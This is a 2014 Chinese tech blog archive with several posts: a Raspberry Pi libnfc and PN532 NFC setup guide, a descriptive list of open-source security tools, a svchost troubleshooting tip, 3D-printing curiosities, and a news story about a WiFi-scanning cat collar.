。 原文包含SPI和I2C总线两种方式,因为我不想插上一大把线,所以只用了I2C接口,所以内容有删节。 libnfc是首个遵循GNU(自由工程项目)通用公共许可证针对所有人都完全免费的低级别NFC软件开发包和编程应用程序接口。它提供了完整的透明度且免费供大家使用。该库目前支持调制ISO / IEC14443 A和B,FeliCa,Jewel/Topaz标签及数据交换协议(P2P)作为目标和启动程序。想了解更多关于libnfc的信息,可参考http://nfc-tools.org/ITEAD PN532 NFC模块配有双排引脚,可直接通过排线连接到树莓派,然后树莓派将驱动模块进行非接触式近场通信操作,如读写13.56M IC卡。 ![154149rr5dubo9wbj9wlrw](/wp-content/uploads/2014/09/154149rr5dubo9wbj9wlrw-300x200.jpg) 以下教程,演示如何在树莓派上使用libnfc通过SPI总线来驱动ITEAD PN532 模块。 1, 硬件链接 Itead PN532 Module是使用四条线连接,如下图 ![154152srjo5ttbbbza07bt](/wp-content/uploads/2014/09/154152srjo5ttbbbza07bt-255x300.gif) 按照上图的连接方式,Itead PN532 模块是通过SPI总线与树莓派连接的,所以需要把NFC模块的工作模式设置为I2C模式,如下图: 即 : SET0–>H SET1–>L ![154150t0vova0ahg3ta0u8](/wp-content/uploads/2014/09/154150t0vova0ahg3ta0u8-300x252.jpg) 2,安装依赖的软件包 sudo apt-get update sudo apt-get install libusb-dev libpcsclite-dev 3,下载并解压缩libnfc源码包 cd ~ wget http://dl.bintray.com/nfc-tools/sources/libnfc-1.7.1.tar.bz2 tar -xf libnfc-1.7.1.tar.bz2 4,编译与安装 cd libnfc-1.7.1 ./configure –prefix=/usr –sysconfdir=/etc make sudo make install 5, 修改配置文件 cd /etc sudo mkdir nfc sudo nano /etc/nfc/libnfc.conf 将如下内容复制到/etc/nfc/libnfc.conf文件中: # Allow device auto-detection (default: true) # Note: if this auto-detection is disabled, user has to set manually a device # configuration using file or environment variable allow_autoscan = true # Allow intrusive auto-detection (default: false) # Warning: intrusive auto-detection can seriously disturb other devices # This option is not recommended, user should prefer to add manually his device. allow_intrusive_scan = false # Set log level (default: error) # Valid log levels are (in order of verbosity): 0 (none), 1 (error), 2 (info), 3 (debug) # Note: if you compiled with –enable-debug option, the default log level is “debug” log_level = 1 # Manually set default device (no default) # To set a default device, you must set both name and connstring for your device # Note: if autoscan is enabled, default device will be the first device available in device list. device.name = “Itead_PN532_SPI” device.connstring = “pn532_i2c:/dev/i2c-1” 6,树莓派系统默认是将SPI模块的驱动关闭的,我们需要将其打开; sudo nano /etc/modprobe.d/raspi-blacklist.conf 树莓派开启I2C总线,将/etc/modprobe.d/raspi-blacklist.conf中“blacklist i2c-bcm2708”变为“#blacklist i2c-bcm2708” 在/etc/modules末尾添加一行 “i2c-dev” ![154152dpob3559dxp2xkp5](/wp-content/uploads/2014/09/154152dpob3559dxp2xkp5-300x205.gif) 刷卡测试,运行效果如图: [![154152sifdbr1fadiqz5ib](/wp-content/uploads/2014/09/154152sifdbr1fadiqz5ib-300x205.gif)](/wp-content/uploads/2014/09/154152sifdbr1fadiqz5ib.gif) ———————————————————————————————– 参考资料附录&相关链接: A1. libnfc配置方法:http://nfc-tools.org/index.php?title=Libnfc:configuration A2. libnfc安装教程:http://nfc-tools.org/index.php?title=Libnfc A3. libnfc用户API:http://nfc-tools.org/index.php?title=Libnfc:API A4. libnfc主页:http://nfc-tools.org/index.php?title=Main_Page A5. libnfc学习例程:ibnfc:Examples” target=”_blank”>http://nfc-tools.org/index.php?title=Category![](http://www.geek-workshop.com/static/image/smiley/default/sweat.gif)ibnfc:Examples A6. Iteadstudio PN532 Module 网址 http://imall.iteadstudio.com/im130625002.html A7. Disable R-Pi/RASPBIAN serial console for using UART0 http://learn.adafruit.com/adafruit-nfc-rfid-on-raspberry-pi/freeing-uart-on-the-pi ————————————————————————————————- 教程到此结束,谢谢大家!有问题请留言或微博@ITEAD创易工作室 --- 以上为引用原文并修改了部分内容和顺序。当时测试时没有修改跳线,始终无法读到数据,后来查到PN532说明书,才知道要修改set0->H,set1->L(文中已添加),数据才读取成功。 规划:Pi读取NFC刷卡记录,然后传到网上,并通过微信、短信、微博通知。 场景:父母想知道孩子已经到达某处,可以通过这种方式获得通知。 后续文章会贴出后台部分。 --- ## 秋天来了 Date: 2014-09-22 URL: https://blog.wo.ai/archives/767 Categories: Chatterbox 走在路上感到丝丝凉意,上海的秋天也许就这么来了吧。 --- ## GitHub上最热门的11款开源安全工具 Date: 2014-09-17 URL: https://blog.wo.ai/archives/765 Categories: Uncategorized 恶意软件分析、渗透测试、计算机取证——GitHub托管着一系列引人注目的安全工具、足以应对各类规模下计算环境的实际需求。 作为开源开发领域的基石,“所有漏洞皆属浅表”已经成为一条著名的原则甚至是信条。作为广为人知的Linus定律,当讨论开源模式在安全方面的优势时,开放代码能够提高项目漏洞检测效率的理论也被IT专业人士们所普遍接受。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/79986bff82_63918611gw1ekfa0gqzz5j20hi0bo757.jpg) 现在,随着GitHub等高人气代码共享站点的相继涌现,整个开源行业开始越来越多地帮助其它企业保护自己的代码与系统,并为其提供多种多样的安全工具与框架,旨在完成恶意软件分析、渗透测试、计算机取证以及其它同类任务。 以下十一个基本安全项目全部立足于GitHub。任何一位对安全代码及系统抱有兴趣的管理员都有必要对它们加以关注。 **1、Metasploit 框架** 作为由开源社区及安全企业Rapid7一手推动的项目,Metasploit框架是一套专门用于渗透测试的漏洞开发与交付系统。它的作用类似于一套漏洞库,能够帮助管理人员通过定位弱点实现应用程序的安全性评估,并在攻击者发现这些弱点之前采取补救措施。它能够被用于对Windows、Linux、Mac、Android、iOS以及其它多种系统平台进行测试。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/df501d7522_63918611gw1ekfa0h6mtoj20dw08w3yy.jpg) “Metasploit为安全研究人员提供了一种途径,能够以相对普遍的格式对安全漏洞加以表达,”Rapid7公司工程技术经理Tod Beardsley指出。“我们针对全部设备类型打造出数千种模块——包括普通计算机、手机、路由器、交换机、工业控制系统以及嵌入式设备。我几乎想不出有哪种软件或者固件无法发挥Metasploit的出色实用性。” 项目链接: **2、Brakeman** Brakeman是一款专门面向Ruby on Rails应用程序的漏洞扫描工具,同时也针对程序中一部分数值向另一部分传递的流程执行数据流分析。用户无需安装整套应用程序堆栈即可使用该软件,Brakeman缔造者兼维护者Justin Collins解释道。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e08f155dc7_63918611gw1ekfa0hty23j20dw09agmd.jpg) 尽管速度表现还称不上无与伦比,但Brakeman在大型应用程序扫描方面只需数分钟、这样的成绩已经超越了“黑盒”扫描工具。虽然最近已经有针对性地作出了修复,但用户在使用Brakeman时仍然需要留意误报状况。Brakeman应该被用于充当网站安全扫描工具。Collins目前还没有将其拓展至其它平台的计划,不过他鼓励其他开发人员对项目代码作出改进。项目链接: **3、Cuckoo Sandbox** Cuckoo Sandbox是一款自动化动态恶意软件分析系统,专门用于检查孤立环境当中的可疑文件。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/dd7437c761_63918611gw1ekfa0itgb7j20dw07974f.jpg) “这套解决方案的主要目的是在启动于Windows虚拟机环境下之后,自动执行并监控任何给定恶意软件的异常活动。当执行流程结束之后,Cuckoo会进一步分析收集到的数据并生成一份综合性报告,用于解释恶意软件的具体破坏能力,”项目创始人Claudio Guarnieri表示。 Cuckoo所造成的数据包括本地功能与Windows API调用追踪、被创建及被删除的文件副本以及分析机内存转储数据。用户可以对该项目的处理与报告机制进行定制,从而将报告内容生成为不同格式,包括JSON与HTML。Cuckoo Sandbox已经于2010年开始成为谷歌代码之夏中的项目之一。项目链接: **4、Moloch** Moloch是一套可扩展式IPv4数据包捕捉、索引与数据库系统,能够作为简单的Web界面实现浏览、搜索与导出功能。它借助HTTPS与HTTP机制实现密码支持或者前端Apahce能力,而且无需取代原有IDS引擎。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8527d53da5_63918611gw1ekfa0jh1n0j20dw096757.jpg) 该软件能够存储并检索标准PCAP格式下的所有网络流量,并能够被部署到多种系统之上、每秒流量处理能力也可扩展至数GB水平。项目组件包括捕捉、执行单线程C语言应用程序、用户也可以在每台设备上运行多个捕捉进程;一套查看器,这实际是款Node.js应用程序、针对Web接口以及PCAP文件传输;而Elasticsearch数据库技术则负责搜索类任务。项目链接: **5、MozDef:Mozilla防御平台** 这款Mozilla防御平台,也就是MozDef,旨在以自动化方式处理安全事件流程,从而为防御者带来与攻击者相对等的能力:一套实时集成化平台,能够实现监控、反应、协作并改进相关保护功能,该项目缔造者Jeff Bryner解释称。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1b79b00a67_63918611gw1ekfa0k3kpij20dw086js2.jpg) MozDef对传统SEIM(即安全信息与事件管理)功能作出扩展,使其具备了协同事件响应、可视化以及易于集成至其它企业级系统的能力,Bryner指出。它采用Elasticsearch、Meteor以及MongoDB收集大量不同类型的数据,并能够根据用户需求以任意方式加以保存。“大家可以将MozDef视为一套立足于Elasticsearch之上的SIEM层,能够带来安全事件响应任务流程,”Bryner表示。该项目于2013年在Mozilla公司内部开始进行概念验证。项目链接: **6、MIDAS** 作为由Etsy与Facebook双方安全团队协作打造的产物,MIDAS是一套专门针对Mac设备的入侵检测分析系统框架(即Mac intrusion detection analysis systems,缩写为MIDASes)。这套模块框架提供辅助工具及示例模型,能够对OS X系统驻留机制中出现的修改活动进行检测。该项目基于《自制防御安全》与《攻击驱动防御》两份报告所阐述的相关概念。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b13882cfad_63918611gw1ekfa0kpg79j20dw08omxp.jpg) “我们发布这套框架的共同目标在于促进这一领域的探讨热情,并为企业用户提供解决方案雏形、从而对OS X终端当中常见的漏洞利用与驻留模式加以检测,”Etsy与Facebook双方安全团队在一份说明文档中指出。MIDAS用户能够对模块的主机检查、验证、分析以及其它针对性操作进行定义。项目链接: **7、Bro** Bro网络分析框架“与大多数人所熟知的入侵检测机制存在着本质区别,”Bro项目首席开发者兼加州伯克利大学国际计算机科学协会高级研究员Robin Sommer指出。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1ada07c2f1_63918611gw1ekfa0lc1t5j20dw09x0t2.jpg) 尽管入侵检测系统通常能够切实匹配当前存在的各类攻击模式,但Bro是一种真正的编程语言,这使其相较于那些典型系统更为强大,Sommer表示。它能够帮助用户立足于高语义层级执行任务规划。 Bro的目标在于搜寻攻击活动并提供其背景信息与使用模式。它能够将网络中的各设备整理为可视化图形、深入网络流量当中并检查网络数据包;它还提供一套更具通用性的流量分析平台。项目链接: **8、OS X Auditor** OS X Auditor是一款免费计算机取证工具,能够对运行系统之上或者需要分析的目标系统副本当中的伪迹进行解析与散列处理。包括内核扩展、系统与第三方代理及后台程序、不适用的系统以及第三方启动项、用户下载文件外中已安装代理。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1ada07c2f1_63918611gw1ekfa0lz3egj20dw09a0td.jpg) 用户的受隔离文件则可以提取自Safari历史记录、火狐浏览器cookies、Chrome历史记录、社交与邮件账户以及受审计系统中的Wi-Fi访问点。项目链接: **9、The Sleuth Kit** The Sleuth Kit是一套库与多种命令行工具集合,旨在调查磁盘镜像,包括各分卷与文件系统数据。该套件还提供一款插件框架,允许用户添加更多模块以分析文件内容并建立自动化系统。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d069bf916_63918611gw1ekfa0mkx7cj20dw07mwez.jpg) 作为针对微软及Unix系统的工具组合,Sleuth Kit允许调查人员从镜像当中识别并恢复出事件响应过程中或者自生系统内的各类证据。在Sleuth Kit及其它工具之上充当用户界面方案的是Autopsy,这是一套数字化取证平台。“Autopsy更侧重于面向用户,”Sleuth Kit与Autopsy缔造者Brian Carrier指出。“The Sleuth Kit更像是一整套能够为大家纳入自有工具的库,只不过用户无需对该训加以直接使用。” 项目链接: **10、OSSEC** 基于主机的入侵检测系统OSSEC能够实现日志分析、文件完整性检查、监控以及报警等功能,而且能够顺利与各种常见操作系统相对接,包括Linux、Mac OS X、Solaris、AIX以及Windows。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d9ed4e3098_63918611gw1ekfa0n7eavj20dw094mxc.jpg) OSSEC旨在帮助企业用户满足合规性方面的各类要求,包括PCI与HIPAA,而且能够通过配置在其检测到未经授权的文件系统修改或者嵌入至软件及定制应用日志文件的恶意活动时发出警报。一台中央管理服务器负责执行不同操作系统之间的策略管理任务。OSSEC项目由Trend Micro公司提供支持。项目链接: **11、PassiveDNS** PassiveDNS能够以被动方式收集DNS记录,从而实现事故处理辅助、网络安全监控以及数字取证等功能。该软件能够通过配置读取pcap(即数据包捕捉)文件并将DNS数据输出为日志文件或者提取来自特定接口的数据流量。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d9ed4e3098_63918611gw1ekfa0ntpuaj20dw05j0t7.jpg) 这款工具能够作用于IPv4与IPv6流量、在TCP与UDP基础上实现流量解析并通过缓存内存内DNS数据副本的方式在限制记录数据量的同时避免给取证工作带来任何负面影响。项目链接: [GitHub上最热门的11款开源安全工具](http://blog.jobbole.com/77088/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## google街景里的奇葩镜头-9eyes Date: 2014-09-17 URL: https://blog.wo.ai/archives/764 Categories: Uncategorized 又是一种新的google街景玩法。。。**网站收集了来自google街景里的奇葩镜头** ,要说有多奇葩?举个栗子先:两个正在打架的女人;车祸现场;在公路上奔跑的逃犯;各种面具男。。。 [![9-eyes](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3452f09287_98814ef5b03b0f4b1d1f3cc3fbaa0d00.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3452f09287_98814ef5b03b0f4b1d1f3cc3fbaa0d00.jpg "google街景里的奇葩镜头-9eyes") 传送门 > ## 方法 进入网站直接观看图片,唯一可惜的是作者没有提供这些图片在google街景中的位置。。。 [google街景里的奇葩镜头-9eyes](http://www.geekfan.net/12092/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 3D打印水龙头 西瓜变身酒桶 Date: 2014-09-12 URL: https://blog.wo.ai/archives/762 Categories: Uncategorized Hi,今年夏天有看到什么有趣的项目吗? 看看这个很酷的 通过3D 打印的水龙头让西瓜变身酒桶的项目吧!一家国外桌面 3D 打印机制造商Robo3D,公布了一个可打印的水龙头,让你可以安装在西瓜的身上,瞬间变身一个为夏季BBQ趴体的居家旅行好伴侣。 [![165503y03ki3qqnjeqk0kj](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a2b853e380_1f75b08af5bbf557939481a45edc3dc5.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a2b853e380_1f75b08af5bbf557939481a45edc3dc5.jpg "3D打印水龙头 西瓜变身酒桶") 这个西瓜水龙头由五个不同的零件组成。如果您的3D打印机的打印尺寸够大,还可以一次打印完成。 模型下载链接:[thingiverse](http://www.thingiverse.com/thing:423539) [![165525tprrxf00d00w0r7x](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/66f56e54dc_7b57ab9439cd68cd91637a83cc500bc8.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/66f56e54dc_7b57ab9439cd68cd91637a83cc500bc8.jpg "3D打印水龙头 西瓜变身酒桶") [![165528g34cyck1ffb8m1y3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fc7a830f5a_58e31010ace39231a267b183380b5a7e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fc7a830f5a_58e31010ace39231a267b183380b5a7e.jpg "3D打印水龙头 西瓜变身酒桶") 如果你也有一台3D打印机的话,像我们一样打印一个水龙头,西瓜汁喝完后也可以装上别的饮料,用挖空的西瓜酒桶装柠檬水、鸡尾酒或随便的其他什么,看你想象咯。来瞅瞅我们打印的吧,万事俱备,只欠西瓜 ╮(╯_╰)╭ [![170033v0fzslzsf0vp1t0r](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b9852fb677_a875ac62ab1a75f2d81a209976f1a807.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b9852fb677_a875ac62ab1a75f2d81a209976f1a807.jpg "3D打印水龙头 西瓜变身酒桶") [3D打印水龙头 西瓜变身酒桶](http://www.geekfan.net/12026/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 心跳眼镜 Date: 2014-09-12 URL: https://blog.wo.ai/archives/763 Categories: Uncategorized Google Class的出现引领了一大堆的眼睛系产品,各家硬件公司似乎都参与到了可穿戴式的队伍中,智能手环的出现更是铺天盖地。 [![141122j2vkibjabckbbjcy](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a233727a07_59e91dc3d5a9aa18935e0419f04881eb.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a233727a07_59e91dc3d5a9aa18935e0419f04881eb.png "心跳眼镜") 传说中的Google Glass [![141122hk4rsu4hmss1yy4k](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/343ce3005c_6b781b6983cd087bb0165c3bc9054a5b.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/343ce3005c_6b781b6983cd087bb0165c3bc9054a5b.jpg "心跳眼镜") Arduino DIY “google glass” 因此LZ也想搅搅这趟浑水,于是『心跳眼镜』闪亮登场,3D打印+纯黑色喷漆,效果还是可圈可点滴~ [![141123ahkr6vsz5wrhsh5h](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a7ab7c8070_258268484fe6bb97d732fa51787c5300.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a7ab7c8070_258268484fe6bb97d732fa51787c5300.jpg "心跳眼镜") LZ连广告词都想好了: 想了解你现在的心率吗? 想记录你一天的心跳数据吗? 想知道男(女)朋友是否对你说谎吗?(大雾一片) 请使用Angelo出品的『心跳眼睛』吧~ 下面就来介绍一下此款眼睛的特点: 1\. 3D打印:3D打印就不多说了,做原型的神器。还有一点也是挺有用的,PLA这种材料只要用热风枪一吹就会变软,如果在设计上有点问题可以通过这种方式弥补。镜框特别细的地方断掉了,用热风枪一吹搞定。 [![141123bgrt2bcxi0cri20t](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/abb8e0611f_3d9c27c437eec723bcc190ebaf9ff6f4.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/abb8e0611f_3d9c27c437eec723bcc190ebaf9ff6f4.jpg "心跳眼镜") 2\. 喷漆:LZ是第一次喷漆,一开始使用的是木头的颜色的漆,企图营造一种木制的感觉。想得很好但事与愿违,喷漆水平太渣,再加上木色的漆比较难以盖住3D打印件的颜色,被各种吐槽。只能让我们的ALLEN大神帮忙,喷出来的作品很有沧桑感,128个赞。 3\. 模块化结构:当初在做这个原型的时候就在想:不能把这副眼镜局限在心跳测量上面。因此这副眼镜的眼镜架是可以替换的,可以让它变成『血压眼镜』,『血糖眼镜』,『偷窥眼镜』(大雾)什么的。另外,没电了可以直接换一个电池眼镜架,省去了在充电时没有办法佩戴的问题~ [![141123wld0xh7jtezt0f7d](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e5f7fea3e4_5a6440d2384208fa320626b778b84d8e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e5f7fea3e4_5a6440d2384208fa320626b778b84d8e.jpg "心跳眼镜") 4\. RGBLED:眼镜前方的两个RGBLED小灯在每一次心跳的时候都会闪烁,在心率正常的时候显示为绿色;当心跳越来越慢,就会变成蓝色;当心跳越跳越快,就会变成红色。让对方带上,你就可以看到(监视^_^)他的心跳了~~ [![141124u2808f2cp2ry1ci1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f67d98de7b_c35d4e8fde60bc561f1596bf18acf725.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f67d98de7b_c35d4e8fde60bc561f1596bf18acf725.jpg "心跳眼镜") 5\. 蓝牙:通过Bluno nano 和 Android 手机连接,得到当前的心跳,下图就是我写的Android程序,emoji表情显示的是不同心跳状态下的不同人物表情~~ [![141126jwxovauzchaxl232](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/296335b880_07a90073457d2f84efc29002cb4ae729.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/296335b880_07a90073457d2f84efc29002cb4ae729.png "心跳眼镜") 我特别喜欢最右边的升天的图标,Angelo的化身~~ [![141125ho3mqhs3yzns35vd](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d076afdfb_f72206efab440d0a168de0f8c60dff5c.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0d076afdfb_f72206efab440d0a168de0f8c60dff5c.png "心跳眼镜") 如果你想自己做一个『心跳眼镜』以下是你所要用到的东西: 1\. 3D打印机一台 2\. Bluno Nano 3\. 锂电池3.7V 两块 4\. 脉搏传感器 5\. Micro USB一根 5\. 排母若干 6\. 排针若干 7\. 电线若干 8\. Android手机(蓝牙4.0, ROM 4.3+)一台 9\. 天才一枚(误) 机械设计: [![141126giaa5ieneu6bai5n](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5af1abf190_c2801922616b4aa23205476c78c4081f.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5af1abf190_c2801922616b4aa23205476c78c4081f.png "心跳眼镜") 电子连线图: [![144901cftefs4d0hodfa1u](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/51ca190d72_6cfff6378885b302422593ad0bf295df.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/51ca190d72_6cfff6378885b302422593ad0bf295df.png "心跳眼镜") 所有的资源都在Github上面,包括安卓端,Arduino端,3D打印设计模型。 [所有资料在这里,请自取](https://github.com/DFRobot/PulseGlassDemo)~~ [心跳眼镜](http://www.geekfan.net/12033/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## SvcHost.exe 占用资源 解决方法 Date: 2014-09-05 URL: https://blog.wo.ai/archives/748 Categories: Technology 最近电脑一直出现卡死的现象,打开任务管理器发现有一个svchost占用了两百多兆内存,甚至更多,网站查了很久,只知道这是系统服务的一个宿主进程。 后来在英文网站找到,如何查看它关联的方法,运行 tasklist /svc /fi “imagename eq svchost.exe” C:\Users\ADMIN>tasklist /svc /fi “imagename eq svchost.exe” Image Name PID Services ========================= ======== ============================================ svchost.exe 808 DcomLaunch, PlugPlay, Power svchost.exe 924 RpcEptMapper, RpcSs svchost.exe 992 AudioSrv, Dhcp, eventlog, lmhosts, wscsvc svchost.exe 384 AudioEndpointBuilder, CscService, hidserv, Netman, PcaSvc, TrkWks, UxSms, Wlansvc, wudfsvc svchost.exe 528 Appinfo, AppMgmt, BITS, EapHost, gpsvc, IKEEXT, iphlpsvc, LanmanServer, MMCSS, ProfSvc, RasMan, Schedule, SENS, ShellHWDetection, Themes, Winmgmt, wuauserv svchost.exe 1084 EventSystem, netprofm, nsi, SstpSvc, WdiServiceHost, WinHttpAutoProxySvc svchost.exe 1196 CryptSvc, Dnscache, LanmanWorkstation, NlaSvc, TapiSrv svchost.exe 1300 BFE, DPS, MpsSvc, WwanSvc svchost.exe 1532 FontCache, SCardSvr, SSDPSRV, upnphost svchost.exe 3648 stisvc svchost.exe 3148 PolicyAgent svchost.exe 8776 SDRSVC 对照任务管理器的进程ID,知道是384进程号,看上表是AudioEndpointBuilder, CscService, hidserv,Netman, PcaSvc, TrkWks, UxSms, Wlansvc,wudfsvc这一堆乱其八糟的服务,似乎还是没找到解决方案。 再继续google,有个老外的回答 Hi guys, I got the same problem with Local system network restricted that it chews up my CPU to 80% for doing nothing at the startup on my win 7. I found out the reason is because of the Superfetch service which pre-loads apps when u start the computer up. Check it out here : There’s likely a chance that there ‘s a conflict in one of those drivers or dll files of the apps. For my particular laptop is my wireless card’s driver. So jump into services.msc >> Superfetch >> stop then disable it may help u get away with it. Hope that helps Cheers Ken 参考 http://social.technet.microsoft.com/Forums/windows/en-US/f23f7cfb-cda7-45e0-9b0c-39e490d4b5cd/svchostexe-localsystemnetworkrestricted-using-45-mem-virus?forum=w7itprosecurity 和 原来是SuperFetch在搞鬼。停用并禁用,问题解决。 --- ## 在后院有一个3D打印的城堡,真是棒极了 Date: 2014-09-02 URL: https://blog.wo.ai/archives/746 Categories: Uncategorized [![screen-shot-2014-08-29-at-3-05-40-pm](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b390d6a33_d208d6afeb0f11ea6d952fc16d040fce.png)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5b390d6a33_d208d6afeb0f11ea6d952fc16d040fce.png "在后院有一个3D打印的城堡,真是棒极了") 现在我知道要什么样的生日礼物了。安德烈·卢金科([Andrey Rudenko](https://twitter.com/AndreyRudenko05%22%20%5Ct%20%22_blank))利用定制的3D打印技术在他自己家的后院打印了一个城堡。从概念设计到完工花了他两年的时间。最后出来的成果也是很了不起的。 这张图片只是他网站上的一张截图,[网站上展示了他的建设过程](https://www.youtube.com/watch?v=2eNp6q35uRo)。 据卢金科称,使用混凝土来建造城堡遇到了一些特殊的问题。卢金科说“单独打印塔楼就是一个错误,把它们抬起来并且安装到城堡上去真是太难了。”我可以想象当时的情景。 下一步要做什么呢?一个“与实物大小一样”的房子。这个城堡已经足够大,可以让人们进出其中,但看起来建造者还有更远大的计划。下一个建筑物很可能会建在温度更高的地方。为什么要温度更高?这样混凝土凝固得就可以更快一些,如果你可以让混凝土凝固更快,那么你的建造速度也就会提高。 卢金科打算夜以继日地打印接下来的建筑,并且所有的打印工作都在现场完成,因此保证混凝土状况良好对于承受荷载将会是至关重要的。 [在后院有一个3D打印的城堡,真是棒极了](http://www.geekfan.net/11817/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 如何用你家的猫黑掉邻家的无线网络 Date: 2014-09-01 URL: https://blog.wo.ai/archives/760 Categories: Uncategorized 七月月底,华盛顿特区的郊区,一只叫Coco的暹罗猫在社区里游荡。它花了三个小时遍历了附近邻家的后院。它杀死了一只老鼠,然后得意的把死老鼠带回它80岁的老主人南希的家里。Coco在外闲逛时,顺便对附近街坊的无线路由器做了些调查,发现,其中4家路由器是老式的,很容易破解,还有4家根本没有密码。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0f5b5a954b_63918611gw1ejwro3ov9gj20fk0bogpc.jpg) Coco不知道,它脖子上的项圈是南希孙女婿、安全研究员Bransfield设计的。Bransfield在项圈里安装了一个Spark Core芯片,里面有他特制的固件程序,还有一个WiFi卡,以及一个微型GPS模块和电池。对于探测邻居们的WiFi网络、了解谁家完全容易侵入、谁家用简单工具就能破解,这些工具都是必要的。 早在1980年代,黑客们经常会用一种叫 ““wardialing”的技术,它通过调制解调器,循环搜索数据,不受区域限制的找到互联网中无保护的电脑。WiFi的发明带来了“接入点映射”技术,车内装根天线,然后在城里转悠,立刻就能探测到易破解或不设密的无线网。本周末,在拉斯维加斯DEF CON黑客大会上,Bransfield将介绍他的新发明:“智能宠物项圈”。他设计的这个装置价格不到100美金,却能够让任何一只室外活动的猫变身WiFi探测器成为黑客帮凶。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b717999dd9_63918611gw1ejwro4cjixj20b30efjtc.jpg) 猫咪Skitzy 尽管在这次黑客大会上他的演讲主题是——“如何武装你的宠物”,但Bransfield相信,智能宠物项圈不具有潜在的安全威胁。相反,这种趣味设计是用来娱乐这次大会的黑客观众的。不过,喵星人带回的数据显示,出众多的无线网络仍然10几年前的、容易破解的WEP加密方式,这让他大吃了一惊。“我的目的不是让人们知道哪有免费WiFi,只是觉得把探测技术装在猫咪身上,让它带着四处转悠这种想法很好玩。”Bransfield说,“猫咪获得的数据显示,虽然现在已经是2014年,仍然有很多人的网络是开放的或使用落后的加密方法。” 在演讲中,Bransfield将会讲解如何制作智能宠物项圈,人们可以仿照他制作自家的WiFi探测猫。这种装置只是在最近才有可能实现,因为Spark Core在上月实现了改进,更容易编程。曾经有个人在安全简报会上向他展示了一个发射信号定位宠物GPS的项圈,Bransfield就是那时候冒出用猫进行无线探测想法的。“只需要一个WiFi探测器,”他说,“这个想法很有意思,我决定做一个。” 首次实验中,他把一个HTC Wildfire智能手机装到宠物外套口袋里,然后让同事家的大猫Skitzy穿上。但是Skitzy很快就甩掉外套,弄丢了Bransfield的装置。“太倒霉了,”他说,“那只猫欠我一部手机。” ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/db84605e43_63918611gw1ejwro67dvsj20fk0bcae0.jpg) 智能项圈和美元大小参照 接下来的几个月里,Bransfield将全部精力都放在了打造项圈上。南希帮他把原件缝进了布条里,然后戴在Skitzy身上测试。但是,Skitzy令他失望了,猫咪坐前廊上不动弹,一直到电池没电。 事实显示,Coco才是一只出色的间谍猫。三个多小时里,它探测了23个WiFi点,发现其中的三分之一完全开放或使用了很容易破解加密技术。Bransfield将这些网络点通过谷歌地球的应用程序接口(API)在地图中绘制出来,安全防护薄弱的站点的数量之多令人吃惊。Bransfield说,有几个WiFi路由器竟然还保留着出厂设置。 虽然他和他的猫咪探长主要是为了自我娱乐,但Bransfield还希望能让更多的人提高安全意识——尽管安全社群里人对加密防范已经习以为常。“很明显,相对于网络安全,人们对猫更感兴趣。”布兰斯菲尔德说。“如果能让大家知道,就连猫都可以破解他们家的WiFi网络,这未必不是一件好事。” [如何用你家的猫黑掉邻家的无线网络](http://blog.jobbole.com/76341/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 3D打印的撞匙:几乎可以开所有锁 Date: 2014-08-31 URL: https://blog.wo.ai/archives/728 Categories: Uncategorized 